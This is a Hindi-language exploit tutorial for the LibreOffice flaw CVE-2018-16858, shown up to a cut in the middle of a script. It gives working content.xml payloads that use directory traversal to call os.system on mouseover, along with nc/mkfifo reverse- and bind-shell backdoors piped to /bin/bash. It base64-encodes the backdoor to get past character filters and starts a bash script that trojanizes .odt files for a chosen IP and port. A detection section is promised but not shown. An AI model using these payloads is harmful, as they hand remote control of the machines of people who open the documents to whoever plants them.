
CVE-2018-16858 शोषण कार्यान्वयन
इस प्रविष्टि में देखा जाएगा कि किसी प्रोग्राम की सरल विफलता का उपयोग करके उस प्रोग्राम का उपयोग करने वाले सिस्टम में पिछला दरवाजा कैसे खोला जाए।
प्रश्न में विफलता CVE-2018-16858 द्वारा परिभाषित की गई है, जो LibreOffice सुइट से संबंधित है। यह विफलता, एक विशेष रूप से निर्मित फ़ाइल में, निर्देशिका पदानुक्रम (directory traversal) को सक्षम करती है, जिससे Python कोड का निष्पादन संभव होता है। यह निष्पादन दस्तावेज़ पर उपयोगकर्ता की कार्रवाई पर बंधा या उछलता है, और उपयोगकर्ता को मैक्रोज़ के निष्पादन के बारे में कोई चेतावनी दिए बिना किया जाता है।
यह दस्तावेज़ पाँच भागों में विभाजित है। पहले भाग में विफलता को ही समझाया जाएगा, एक OpenDocument को कैसे अनपैक किया जाए, इसकी संरचना को कैसे बदला जाए ताकि वह वांछित स्थानीय स्क्रिप्ट चलाए, और दस्तावेज़ को फिर से कैसे पैक किया जाए ताकि वह निष्पादन और परीक्षण के लिए तैयार हो।
दूसरे भाग में हम देखेंगे कि कैसे स्थानीय निष्पादन का उपयोग करके उस सिस्टम पर कोई भी कमांड लॉन्च किया जाए जिसमें दस्तावेज़ खोला गया है, और हम एक पिछला दरवाजा बनाएंगे जो दूरस्थ कमांड निष्पादन की अनुमति देता है।
तीसरे भाग में हम इस प्रक्रिया को स्वचालित करेंगे ताकि ऐसे दस्तावेज़ तैयार किए जा सकें जो प्रत्यक्ष या रिवर्स संचार के साथ पिछले दरवाजे बनाते हैं, जिसमें उस आईपी पते और पोर्ट का निर्धारण किया जाएगा जिससे कनेक्ट होना है।
चौथा भाग Metasploit सिस्टम में विफलता के एकीकरण पर होगा, ताकि msfconsole के माध्यम से ऐसे दस्तावेज़ तैयार किए जा सकें जो Metasploit के शोषण विधि के अनुकूल हों। इससे Metasploit सुइट में परिभाषित किसी भी पेलोड को निष्पादित करने के लिए कोड चुनने की सुविधा मिलेगी।
पाँचवाँ और अंतिम भाग दिखाएगा कि कैसे एक एंटीवायरस सिस्टम में पता लगाने की प्रक्रिया को एकीकृत किया जाए जो उपरोक्त प्रक्रिया द्वारा संक्रमित LibreOffice प्रकार की फ़ाइलों की पहचान कर सके। ClamAV एंटीवायरस के पता लगाने के प्रारूप का उपयोग किया जाएगा, जिससे एंटीवायरस की पता लगाने की प्रक्रिया को बेहतर ढंग से समझा जा सके और इस प्रकार इस प्रकार के खतरों से अपनी सुरक्षा को आसान बनाया जा सके।
पूरी प्रक्रिया Debian-आधारित Linux सिस्टम के लिए की जाएगी, लेकिन यहाँ जो समझाया गया है उसे अन्य सिस्टमों में भी विस्तारित किया जा सकता है, क्योंकि इसका विस्तार से वर्णन किया गया है। मूल CVE की विफलता और प्रूफ-ऑफ-कॉन्सेप्ट दोनों Windows के लिए LibreOffice के संस्करण के लिए किए गए थे, इसलिए इस दस्तावेज़ में वर्णित का उपयोग Windows संस्करणों के लिए समान रूप से करने के लिए हमेशा उस स्रोत का सहारा लिया जा सकता है।
LibreOffice (और, आनुवंशिक कारणों से, Apache OpenOffice) में इसके नवीनतम संस्करण (6.1.5) से पहले के संस्करणों में एक विफलता है जो कंप्यूटर पर कहीं भी स्थित Python कोड के निष्पादन की अनुमति देती है, बिना उपयोगकर्ता को मैक्रो के निष्पादन के बारे में चेतावनी दिए।
प्रश्न में विफलता को देखने के लिए, हम टेक्स्ट एडिटर में एक नया दस्तावेज़ बना सकते हैं जिसमें हम कुछ लिखेंगे, उसे चुनेंगे और एक हाइपरलिंक बनाएंगे। टेक्स्ट में हाइपरलिंक बनाने के लिए, मेनू Insert और उसके अंदर Hyperlink विकल्प चुनें (आप टेक्स्ट चुनकर और Ctrl+K कुंजी संयोजन का उपयोग करके भी कर सकते हैं)।
निम्नलिखित डायलॉग दिखाई देगा:

एक हाइपरलिंक परिभाषित करने के लिए, हमें एक URL डालना होगा और Apply पर क्लिक करना होगा। URL विकल्प के अलावा, डायलॉग बॉक्स के नीचे, जहाँ Further Settings पढ़ा जा सकता है, हमारे पास Play आइकन वाला एक बटन होगा जो हमें घटनाओं को विशिष्ट क्रियाओं से जोड़ने की अनुमति देगा। यहीं पर हम परिभाषित करेंगे कि हम एक क्रिया के रूप में Python कोड निष्पादित करना चाहते हैं।
उस बटन को दबाने पर एक नया डायलॉग खुलेगा:

इसमें हम तीन बुनियादी घटनाओं और उस स्क्रिप्ट के बीच चयन कर सकते हैं जिसका उपयोग करना है। घटना के रूप में हम Mouse Over Object चुनेंगे और स्क्रिप्ट के रूप में LibreOffice Macros परिवार की स्क्रिप्ट के अंदर Python Samples चुनेंगे। उस विकल्प के अंदर केवल एक पूर्वनिर्धारित स्क्रिप्ट है जिसका नाम TableSample है, जिसे हम चुनेंगे।
एक बार यह हो जाने पर, यदि हम माउस को उस टेक्स्ट पर ले जाएँ जिसे हमने हाइपरलिंक में बदला है, तो हम देखेंगे कि एक विंडो खुलती है जिसमें एक दस्तावेज़ है जिसमें एक तालिका है। इसका मतलब है कि हमने माउस को हाइपरलिंक पर ले जाने की घटना को Python स्क्रिप्ट से जोड़ दिया है। हम इस क्रिया को अपनी इच्छित किसी अन्य क्रिया से बदलना चाहते हैं।
इसके लिए हम अपने द्वारा बनाए गए दस्तावेज़ को सहेजेंगे और LibreOffice से बाहर निकलेंगे ताकि कंसोल पर कमांड की एक श्रृंखला निष्पादित कर सकें।
ODT दस्तावेज़ प्रारूप एक ज़िप से अधिक कुछ नहीं है जिसके अंदर फ़ाइलों की एक श्रृंखला होती है (Microsoft Office का DOCX प्रारूप काफी समान है)। इसलिए, हम सबसे पहले फ़ाइल को एक ज़िप डीकंप्रेसर से डीकंप्रेस करेंगे।
हमारे मामले में हम unzip नामक कमांड लाइन टूल का उपयोग करेंगे, इसलिए हम बस निम्नलिखित वाक्य निष्पादित करेंगे:
user@host:~/Documents/prueba$ unzip ~/Documents/blog/exploitlibreoffice/doc/CV.odt
इससे हम उन फ़ाइलों को देखेंगे जो वास्तव में OpenDocument प्रकार की फ़ाइल के अंदर होती हैं। हमारे लिए सबसे प्रासंगिक मिमीटाइप फ़ाइल, content.xml फ़ाइल और styles.xml फ़ाइल होंगी।
मिमीटाइप फ़ाइल वह पहली फ़ाइल होनी चाहिए जो ज़िप की फ़ाइल सूची में दिखाई देती है, इसलिए जब हम फ़ाइलों को फिर से पैक करेंगे तो हमें अपने पैकर के साथ यह सुनिश्चित करना होगा कि ऐसा ही हो, अन्यथा फ़ाइल को OpenDocument के रूप में व्याख्या नहीं किया जाएगा।
content.xml फ़ाइल में वह दस्तावेज़ का टेक्स्ट होता है जिसे हमने लिखा है, जिसमें टेक्स्ट कुछ विशेष टैग के साथ मिश्रित होता है जो बताते हैं कि टेक्स्ट किस प्रारूप में दिखना चाहिए।
उदाहरण के लिए, निम्नलिखित पंक्ति में:
<text:p text:style-name="_5f_ECV_5f_SectionDetails">Indicar lista de documentos adjuntos a su CV. Ejemplos:</text:p>
टेक्स्ट के एक पैराग्राफ का एक उदाहरण देखा जा सकता है जो text:style-name विशेषता द्वारा परिभाषित एक विशिष्ट शैली के साथ लिखा गया है। टेक्स्ट पैराग्राफ उद्घाटन टैग text:p और समापन टैग </text:p> के बीच है।
हमने जो हाइपरलिंक बनाया है, उससे संबंधित स्क्रिप्ट को भी काफी सरलता से देखा जा सकता है। यदि हम content.xml के टेक्स्ट में python या उस Python स्क्रिप्ट का नाम खोजें जिसे हमने लोड किया है, हमारे मामले में TableSample.py, तो उस पंक्ति का आसानी से पता लगाया जा सकता है जहाँ हमें सामग्री बदलनी चाहिए:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|TableSample.py$createTable?language=Python&location=share" xlink:type="simple"/>
इस पंक्ति में Python स्क्रिप्ट का पथ है जो तब लोड होगा जब हम TableSample.py नामक हाइपरलिंक पर माउस रखेंगे, और Python कोड का वह फ़ंक्शन जो निष्पादित होगा, इस मामले में createTable।
LibreOffice में निहित समस्या यह है कि जब यह दस्तावेज़ पढ़ता है, तो यह लोड किए जाने वाले Python कोड के मान को ठीक से साफ नहीं करता है। प्रोग्राम फ़ाइल पथ से ../ वर्णों को साफ नहीं करता है, इसलिए सिस्टम पर किसी भी फ़ाइल तक पहुँचा जा सकता है जिसमें दस्तावेज़ खोला गया है। इसके अलावा, यदि वह फ़ाइल जिस तक पहुँचा गया है, Python कोड वाली फ़ाइल है, तो हम उस फ़ाइल में परिभाषित किसी भी फ़ंक्शन को निष्पादित कर सकते हैं।
प्रूफ-ऑफ-कॉन्सेप्ट के पहले परीक्षण के रूप में, हम बनाएंगे कि जब हाइपरलिंक पर माउस ले जाया जाए, तो कैलकुलेटर निष्पादित हो, हमारे मामले में प्रोग्राम galculator कैलकुलेटर खोलता है। हमें एक Python प्रोग्राम बनाना होगा जो एक फ़ंक्शन के अंदर एक कमांड निष्पादित करने की अनुमति देता है, जैसा कि LibreOffice निष्पादन की अपेक्षा करता है। इसके लिए हम /tmp/prueba.py पथ पर निम्नलिखित कोड बनाएंगे:
import os;
def ejecuta():
os.system("galculator");
इस छोटे से कोड से हम अपना उद्देश्य प्राप्त कर लेंगे, अब केवल हमें /tmp/prueba.py Python फ़ाइल और फ़ंक्शन का नाम ejecuta दोनों को odt फ़ाइल में की गई कॉल में जोड़ना होगा। इसलिए, वह पंक्ति जो Python को कॉल करती थी, इस प्रकार होगी:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../tmp/prueba.py$ejecuta?language=Python&location=share" xlink:type="simple"/>
जैसा कि देखा जा सकता है, हमने सुनिश्चित करने के लिए बड़ी संख्या में ../ जोड़े हैं कि हम अपने फ़ाइल सिस्टम की जड़ तक पहुँचें। और वहाँ से हम अपनी विशिष्ट Python फ़ाइल (prueba.py) का पथ जोड़ते हैं। $ के बाद ejecuta शब्द जोड़ा गया है जो वह फ़ंक्शन है जो कैलकुलेटर को लोड करता है।
एक बार यह हो जाने पर, हम अपनी odt फ़ाइल को फिर से पैक करेंगे, याद रखें कि पहली फ़ाइल के रूप में mimetype रखें। यदि हम zip उपयोगिता का उपयोग करते हैं, तो हम बस निम्नलिखित कमांड को उस निर्देशिका में निष्पादित करेंगे जहाँ हमने अपनी odt को अनपैक किया है और जिसमें दुर्भावनापूर्ण content.xml है:
user@host:~/Documents/prueba$ zip -r exploit.odt mimetype .
एक बार यह हो जाने पर, हम फ़ाइल को LibreOffice के साथ खोलेंगे और देखेंगे कि जब हम हाइपरलिंक पर माउस ले जाते हैं तो कैलकुलेटर प्रोग्राम निष्पादित होता है।
यह पहला कदम, बिना पैरामीटर के निष्पादित की जाने वाली एक फ़ंक्शन के साथ उत्पन्न Python कोड की आवश्यकता है। इसे लागू करना सरल है लेकिन वास्तविक पेंटेस्टिंग के लिए विश्वसनीय या दोहराने योग्य वातावरण में उपयोग करना कठिन हो सकता है।
LibreOffice के संस्करण 6.1 से, Python फ़ंक्शन कॉल में उन फ़ंक्शनों को पैरामीटर पास करने की संभावना उपलब्ध है। यह उन लोगों को अधिक स्क्रिप्टिंग स्वतंत्रता प्रदान करता है जो उस प्रोग्राम के मैक्रोज़ का वैध उपयोग करना चाहते हैं, लेकिन यह हमें उन लोगों के लिए एक सुनहरा अवसर भी प्रदान करता है जो सॉफ्टवेयर में कोनों की तलाश करना चाहते हैं।
जैसा कि पहले हमने कहा और वास्तव में उपयोग किया, सिस्टम कॉल करने के लिए किसी भी कमांड को निष्पादित करने के लिए os वर्ग और system फ़ंक्शन को कॉल किया जाता है। यह वही है जिसका उपयोग हमने कैलकुलेटर को कॉल करने के लिए किया था, पैरामीटर के रूप में स्ट्रिंग galculator पास करके। Python वर्गों के बारे में अच्छी बात यह है कि हम जान सकते हैं कि वे किस पथ पर हैं, और वास्तव में पैरामीटर पास करने की क्षमता का लाभ उठाने के लिए हम उस वर्ग के स्थान की खोज कर सकते हैं। पहले हमने /tmp/ में स्थित एक Python प्रोग्राम का एक फ़ंक्शन निष्पादित किया था जिसे हमने prueba.py कहा था। अब, हम सीधे os.py Python प्रोग्राम में स्थित system फ़ंक्शन को कॉल करेंगे जो सिस्टम पुस्तकालयों में से एक है। उदाहरण के लिए वर्तमान Linux सिस्टमों में हम इसे आमतौर पर /usr/lib/python3.5/os.py पथ पर पाते हैं, इसलिए हम कोड के पिछले पथ /tmp/prueba.py को इस नए पथ से बदल देंगे। अब फ़ंक्शन ejecuta को फ़ंक्शन system से बदल देंगे और वास्तव में चूँकि हम उस फ़ंक्शन को पैरामीटर पास कर सकते हैं, अब हम प्रोग्राम galculator, या कोई अन्य जो हम चाहते हैं, को सीधे निष्पादित कर सकते हैं, बिना उस कंप्यूटर पर जहाँ LibreOffice दस्तावेज़ देखा जाएगा, एक Python फ़ाइल बनाने की आवश्यकता के।
जहाँ पहले content.xml फ़ाइल में हमारे पास यह स्ट्रिंग थी:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../tmp/prueba.py$ejecuta?language=Python&location=share" xlink:type="simple"/>
अब हमारे पास बस निम्नलिखित होगा:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(galculator)?language=Python&location=share" xlink:type="simple"/>
फ़ाइल को LibreOffice दस्तावेज़ के रूप में पैक करने का तरीका बिल्कुल वही होगा। परिणाम अब यह होगा कि बस odt दस्तावेज़ खोलने पर, बिना किसी विशिष्ट पथ पर Python प्रोग्राम रखे, यह काम करेगा। हाँ, हालांकि, हमें कम से कम LibreOffice के संस्करण 6.1 की आवश्यकता होगी जहाँ दस्तावेज़ खोला जाता है।
जैसे ही फ़ाइल खुलेगी और दस्तावेज़ के लिंक पर माउस रखा जाएगा, कैलकुलेटर एप्लिकेशन खुलेगा, जैसा कि पिछले उदाहरण में हुआ था।
जब दस्तावेज़ खोला जाता है तो जो कमांड निष्पादित होते हैं, वे स्थानीय मशीन पर निष्पादित होते हैं, इसलिए ऐसे निष्पादन का एक उपयोग पिछला दरवाजा खोलना है जो हमें अन्य स्थानों से दूरस्थ रूप से कमांड निष्पादित करने की अनुमति देता है।
एक बहुत ही सरल पिछला दरवाजा बनाने के लिए हम nc कमांड का उपयोग करेंगे और एक फीफो (fifo) बनाएंगे ताकि उसी पोर्ट के साथ हम कंप्यूटर पर कमांड भेज सकें और उस निष्पादन का परिणाम प्राप्त कर सकें। पहले दृष्टिकोण में जिस विफलता का उपयोग हमने कमांड निष्पादन के लिए किया था, हमें एक Python प्रोग्राम बनाना पड़ा। विचार यह है कि हमें उस कंप्यूटर पर कोई अतिरिक्त कोड अपलोड नहीं करना है जिसका शोषण किया जाना है, इसलिए पिछला दरवाजा बनाने के लिए सिस्टम कमांड का उपयोग किया जाएगा।
nc कमांड एक सिस्टम कमांड है जो स्थानीय सिस्टम पर एक पोर्ट खोलने या दूरस्थ सिस्टम के एक पोर्ट से कनेक्ट करने की अनुमति देता है, इस प्रकार कि आप उस कनेक्शन के माध्यम से जो कुछ भी प्राप्त करते हैं वह मानक आउटपुट पर आता है और जो कुछ भी मानक इनपुट के माध्यम से डाला जाता है वह कनेक्शन के माध्यम से दूसरे कंप्यूटर तक जाता है। हम पाइप | का उपयोग कर सकते हैं ताकि निष्पादन में एक कमांड का स्क्रीन आउटपुट दूसरे कमांड में डाला जा सके, इसलिए यदि हम कमांड nc को कमांड /bin/bash से जोड़ते हैं, तो यह हमें दूरस्थ कमांड निष्पादन के लिए एक सरल समाधान प्रदान करेगा। यदि हम nc ip puerto | /bin/bash निष्पादित करते हैं, तो जो कुछ भी nc कमांड द्वारा किए गए कनेक्शन के माध्यम से आता है, वह /bin/bash कमांड को पास हो जाएगा जो एक शेल निष्पादित करता है, इस प्रकार वे सभी कमांड निष्पादित हो जाएंगे जो हमें उस कंप्यूटर से भेजे जाते हैं जिससे हमने कनेक्ट किया है। लेकिन उन कमांड का मानक आउटपुट nc कमांड को वापस नहीं किया जाता है, इसलिए इनका आउटपुट नहीं दिखाई देगा। हम /bin/bash कमांड के मानक आउटपुट को एक नए nc कमांड की ओर रीडायरेक्ट कर सकते हैं जो दूसरे पोर्ट का उपयोग करता है, लेकिन तब हमें कमांड भेजने और कमांड आउटपुट प्राप्त करने के लिए दो पोर्ट की आवश्यकता होगी, जो कुछ हद तक अनाड़ी है।
एक सरल समाधान फीफो का उपयोग करना है, mkfifo कमांड एक फ़ाइल उत्पन्न करता है जो एक साथ लिखने और उपभोग करने की अनुमति देती है। इसलिए हम एक फीफो फ़ाइल बनाएंगे जिसका उपयोग हम nc कमांड के इनपुट के रूप में करेंगे ताकि उस फ़ाइल में जो कुछ भी लिखा जाए वह कनेक्शन के माध्यम से भेजा जाए, और इसका उपयोग /bin/bash कमांड के आउटपुट के रूप में किया जाएगा, ताकि उस कमांड के माध्यम से निष्पादित सभी चीज़ों का आउटपुट फीफो फ़ाइल में लिखा जाए।
किसी भी Linux टर्मिनल पर सर्वर के रूप में कार्य करने वाले बैकडोर के लिए कमांड का क्रम इस प्रकार होगा:
user@host:~/$ mkfifo /tmp/lalala;
user@host:~/$ nc -l -p puerto < /tmp/lalala | /bin/bash > /tmp/lalala;
किसी अन्य कंप्यूटर से उस कंप्यूटर से कनेक्ट करने के लिए, निम्नलिखित निष्पादित किया जाना चाहिए:
user@host:~/$ nc ip puerto
जहाँ ip बैकडोर वाले कंप्यूटर का IP पता है और puerto वही मान है जो हमने बैकडोर चलाने वाले कंप्यूटर पर nc निष्पादित करते समय इंगित किया था।
यदि लक्ष्य कंप्यूटर के नेटवर्क में फ़ायरवॉल की समस्याओं के कारण हम उस कंप्यूटर को सर्वर के रूप में उपयोग नहीं कर सकते हैं, तो हम इसे उल्टा कर सकते हैं, ताकि बैकडोर वाला कंप्यूटर हमारे नियंत्रण वाले सर्वर से कनेक्ट हो। इसके लिए हम पहले अपने कंप्यूटर पर निम्नलिखित कमांड निष्पादित करेंगे:
user@host:~/$ nc -l -p puerto
और बैकडोर कंप्यूटर पर पिछले के समान कमांड का निम्नलिखित क्रम:
user@host:~/$ mkfifo /tmp/lalala;
user@host:~/$ nc ip puerto < /tmp/lalala | /bin/bash > /tmp/lalala;
इस अंतिम कमांड में दिखाई देने वाला IP पता हमारे कंप्यूटर का होना चाहिए। स्पष्ट रूप से, दूरस्थ कंप्यूटर को उस IP पते तक पहुँचने में सक्षम होना चाहिए ताकि वह कनेक्शन बना सके जिससे हम दूरस्थ सिस्टम पर निष्पादित करने के लिए कमांड भेजेंगे।
इसलिए, बैकडोर कंप्यूटर पर और कमांड को एक पंक्ति में रखने के लिए, या तो यह पंक्ति निष्पादित की जा सकती है:
user@host:~/$ mkfifo /tmp/lalala;nc -l -p puerto < /tmp/lalala | /bin/bash > /tmp/lalala;
या यह पंक्ति:
user@host:~/$ mkfifo /tmp/lalala;nc ip puerto < /tmp/lalala | /bin/bash > /tmp/lalala;
एक बार यह समझ लेने के बाद, यदि हम libreoffice फ़ाइल के माध्यम से इनमें से किसी भी पिछले दरवाजे को निष्पादित करने में सफल होते हैं, तो हम उस कंप्यूटर का दूरस्थ नियंत्रण प्राप्त कर सकते हैं जिसने दस्तावेज़ खोला है।
स्पष्ट रूप से, यदि हम उस Python फ़ाइल को बदलते हैं जिसे हमने tmp में डाला था और कैलकुलेटर निष्पादित करने के बजाय बैकडोर निष्पादित करते हैं, तो हमारे पास स्वचालित निष्पादन होगा।
import os;
def ejecuta():
os.system("mkfifo /tmp/lalala;nc ip puerto < /tmp/lalala | /bin/bash > /tmp/lalala;");
बैकडोर उत्पन्न करने की इस पंक्ति का अनुसरण करते हुए, अब इसे ऑफिस दस्तावेज़ में लागू किया जा सकता है। इसे करने का तरीका अपेक्षाकृत सरल है क्योंकि हम बस linux कैलकुलेटर के कमांड को उस कमांड से बदल देंगे जो मुझे पिछला दरवाजा खोलने की अनुमति देता है।
कैलकुलेटर कमांड के बजाय जो बैकडोर निष्पादित होगा, वह निम्नलिखित होगा:
mkfifo /tmp/lalala; nc IP PUERTO < /tmp/lalala | /bin/bash > /tmp/lalala;
यह एक रिवर्स कनेक्शन बैकडोर है, इसलिए इसके काम करने और एक शेल प्राप्त करने में सक्षम होने के लिए, होस्ट पर IP पते और पोर्ट PUERTO पर एक सॉकेट खोला जाना चाहिए। उन मानों को हमारे होस्ट पर खुले IP और पोर्ट से बदला जाना चाहिए।
इस कमांड के साथ एक समस्या है: LibreOffice कुछ विशेष वर्णों जैसे < या | के उपयोग की अनुमति नहीं देता है, इसलिए हमें किसी तरह से अपने एक्सप्लॉइट के उपयोग के लिए उन वर्णों के उपयोग से बचना होगा।
संभवतः सरल विकल्प base64 का उपयोग करना है। Base64 लगभग सभी Linux कंप्यूटरों पर डिफ़ॉल्ट रूप से स्थापित होता है और यह एक प्रोग्राम है जो हमें उस एल्गोरिदम के माध्यम से एन्कोड और डिकोड करने की अनुमति देता है। इसलिए हम जो निष्पादित करना चाहते हैं, उसे base64 में एन्कोड कर सकते हैं, इसे एक फ़ाइल पर रीडायरेक्ट कर सकते हैं जिसे बाद में डिकोड और निष्पादित किया जाएगा।
बैकडोर को लागू करने का एक तरीका उपयोग किया जाएगा जो कुछ हद तक अनाड़ी हो सकता है, लेकिन काफी पारदर्शी और समझने योग्य है। बाद में उसी विचार के साथ जितना चाहें उतना जटिल बनाया जा सकता है ताकि सब कुछ अधिक संक्षिप्त हो। चूँकि यह मार्गदर्शिका शैक्षिक उद्देश्यों के लिए बनाई गई है, हम अधिक अनाड़ी निष्पादन सूत्र रखेंगे लेकिन बहुत सरल कमांड और निष्पादन के साथ।
यदि हम एक टर्मिनल में निम्नलिखित निष्पादित करते हैं, तो हम पेलोड का base64 संस्करण प्राप्त कर सकते हैं:
echo "mkfifo /tmp/lalala; nc IP PUERTO < /tmp/lalala | /bin/bash > /tmp/lalala;" | base64
परिणाम कुछ इस प्रकार होगा:
bWtmaWZvIC90bXAvbGFsYWxhOyBuYyBJUCBQVUVSVE8gPCAvdG1wL2xhbGFsYSB8IC9iaW4vYmFzaCA+IC90bXAvbGFsYWxhOwo=
अब हमारे पास उनमें से कोई भी वर्ण नहीं है जो एक्सप्लॉइट के माध्यम से निष्पादन में समस्या पैदा कर सकते हैं। लेकिन इस सामग्री को system कमांड में डालने पर हम कुछ भी निष्पादित नहीं करेंगे, लेकिन वास्तव में हम उस सामग्री को echo के साथ एक फ़ाइल पर रीडायरेक्ट कर सकते हैं। इससे हमारे पास एक फ़ाइल होगी जिसे जब डिकोड किया जाता है, तो उसे निष्पादित किया जा सकता है, इसलिए हम एक फ़ाइल बनाएंगे जिसे बाद में हम base64 कमांड से डिकोड करेंगे लेकिन डिकोड करने की अनुमति देने वाले पैरामीटर के साथ, ताकि इसे दूसरी फ़ाइल पर रीडायरेक्ट किया जा सके। जो अब, हाँ, वह होगी जिसे हम निष्पादित करेंगे। हम पहले प्रत्येक कमांड को तोड़कर समझाएंगे कि हम क्या कर रहे हैं, और फिर उन सभी को एक्सप्लॉइट की system कॉल में उपयोग करेंगे:
पहले, हम अपनी मशीन पर जहाँ LibreOffice दस्तावेज़ खोला गया है, उसके /tmp/ निर्देशिका में lalala.base64 नामक एक base64 फ़ाइल बनाते हैं।
echo "bWtmaWZvIC90bXAvbGFsYWxhOyBuYyBJUCBQVUVSVE8gPCAvdG1wL2xhbGFsYSB8IC9iaW4vYmFzaCA+IC90bXAvbGFsYWxhOwo=" > /tmp/lalala.base64चूंकि वह एन्कोडेड फ़ाइल हमारे किसी काम की नहीं है, हम इसे डिकोड करेंगे और आउटपुट को एक फ़ाइल में डालेंगे जिसे हम बाद में उसी डायरेक्टरी में **lalala.sh** नाम से चलाना चाहते हैं।
base64 -d /tmp/lalala.base64 > /tmp/lalala.sh
उक्त फ़ाइल में निष्पादन अनुमतियाँ नहीं हैं, इसलिए हमें उन्हें देना होगा।
chmod 777 /tmp/lalala.sh
फिर हमें बनाई गई bash फ़ाइल को निष्पादित करना होगा।
/tmp/lalala.sh
अंत में, कंप्यूटर पर उत्पन्न सभी मध्यवर्ती फ़ाइलों को हटा देना होगा।
rm /tmp/lalala.sh
rm /tmp/lalala.base64
हमारे एक्सप्लॉइट में system फ़ंक्शन के कॉल के अंदर इन सभी कमांडों को ; से अलग करके कॉल किया जाएगा, जिससे एक के बाद एक कमांड निष्पादित होंगे। यही वह कमांड या पेलोड होगा जिसे हमारे contents.xml में system कॉल के अंदर कैलकुलेटर के स्थान पर डालना होगा। अंत में, जहाँ हमारे पास निम्नलिखित सामग्री थी जो कैलकुलेटर के निष्पादन की अनुमति देती थी:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(galculator)?language=Python&location=share" xlink:type="simple"/>
हम निम्नलिखित सामग्री रखेंगे:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(echo bWtmaWZvIC90bXAvbGFsYWxhOyBuYyBJUCBQVUVSVE8gPCAvdG1wL2xhbGFsYSB8IC9iaW4vYmFzaCA+IC90bXAvbGFsYWxhOwo= > /tmp/lalala.base64; base64 /tmp/lalala.base64 -d > /tmp/lalala.sh; chmod 777 /tmp/lalala.sh; /tmp/lalala.sh; rm /tmp/lalala.sh; rm /tmp/lalala.base64;)?language=Python&location=share" xlink:type="simple"/>
LibreOffice दस्तावेज़ को फिर से पैकेज करके, अब हमारे पास एक दस्तावेज़ होगा जो माउस घुमाते ही हमारा बैकडोर निष्पादित करेगा।
दस्तावेज़ खोलने से पहले, जैसा कि पहले बताया गया है, हमें पहले से एक पोर्ट सुनना चाहिए, और जैसे ही बैकडोर हमारे होस्ट से कनेक्ट होगा, हम उस रिमोट सिस्टम पर कमांड चला सकेंगे जहाँ LibreOffice दस्तावेज़ खोला गया था।
अगले चरण के रूप में, और मेटास्प्लॉइट मॉड्यूल बनाने से पहले, हमें प्रक्रिया को स्वचालित और सामान्यीकृत करने में सक्षम होना चाहिए। इससे यह जाँचने में मदद मिलती है कि किए जाने वाले परिवर्तनों को स्पष्ट रूप से समझ लिया गया है, ताकि एक सामान्य प्रोग्राम बनाया जा सके जो चयनित पेलोड से LibreOffice दस्तावेज़ों को संक्रमित कर सके। इस अनुभाग में, हम एक छोटी स्क्रिप्ट बनाएंगे जो LibreOffice फ़ाइलों को बैकडोर से संक्रमित करने की अनुमति देगी।
स्क्रिप्ट को तीन पैरामीटर की आवश्यकता होगी: Office दस्तावेज़, वह IP पता जिससे कंप्यूटर को कनेक्ट होना चाहिए जब Office दस्तावेज़ खोला जाए, और वह पोर्ट जिससे कनेक्ट होना चाहिए। स्क्रिप्ट चलाने के बाद, हमें एक LibreOffice दस्तावेज़ प्राप्त करना चाहिए जिसमें बैकडोर डाला गया हो। चूँकि हमें zip फ़ाइल को अनज़िप करना होगा, इसलिए हमें आवश्यकता होगी कि जिस डायरेक्टरी में हमारी स्क्रिप्ट चल रही है वह साफ हो, इसलिए हमें इसे स्क्रिप्ट के अंदर जाँचना चाहिए।
भाषा को समस्या न बनाने के विचार से, हम bash स्क्रिप्ट का उपयोग करेंगे, जो हमें एक स्क्रिप्ट बनाने की अनुमति देगी, भले ही वह थोड़ी गंदी हो, लेकिन यह GNU प्रोग्रामों को कॉल करेगी जो अधिक भारी काम करेंगे। बाद में, जब मेटास्प्लॉइट मॉड्यूल बनाया जाएगा, तो उस सारे काम को या तो हाथ से प्रोग्राम करना होगा या उस प्रक्रिया में मदद करने वाली लाइब्रेरी का उपयोग करना होगा।
स्क्रिप्ट यह माँग करके शुरू होगी कि जिस फ़ाइल को ट्रोजनाइज़ किया जाना है वह मौजूद हो, और यदि नहीं है तो हम उपयोगकर्ता को बताएंगे कि फ़ाइल मौजूद नहीं है:
if [ -e $1 ]; then
#यहाँ प्रोग्राम कोड होगा
else
echo "The odt file does not exists!!";
fi;
if उस क्रिया को निष्पादित करता है जो इसमें होती है जब कोष्ठक में दी गई शर्त पूरी होती है। bash में शर्त -e सत्य लौटाती है यदि उस नाम की कोई फ़ाइल मौजूद है जो बाद में दी गई है। एक निश्चित नाम के बजाय $1 रखा गया है, जो bash में पहले पैरामीटर से मेल खाता है जिसे उपयोगकर्ता ने स्क्रिप्ट निष्पादन लाइन में डाला है। हमारे मामले में, पहला पैरामीटर उस .odt फ़ाइल को निर्दिष्ट करता है जिसे ट्रोजनाइज़ किया जाना है।
हमने शर्त रखी है कि जिस डायरेक्टरी में कमांड चलाया जाता है वह खाली हो, यह केवल हमारे काम को आसान बनाने के लिए है, इसलिए हमें प्रोग्राम के पहले भाग के साथ जारी रखने से पहले इसे जाँचना चाहिए। इस बार हम स्क्रिप्ट को ls -a कमांड निष्पादित करने देंगे और जाँचेंगे कि निष्पादन डायरेक्टरी में केवल दो फ़ाइलें मौजूद हैं: डायरेक्टरी . और डायरेक्टरी .. के अनुरूप। यह हम कोड के निम्नलिखित भाग के माध्यम से प्राप्त करेंगे:
I=0;
for fichero in `ls -a`; do
I=$(($I+1));
done;
if [ $I -gt 2 ]; then
echo "At least one file exists on the directory. Exiting.";
else
fi;
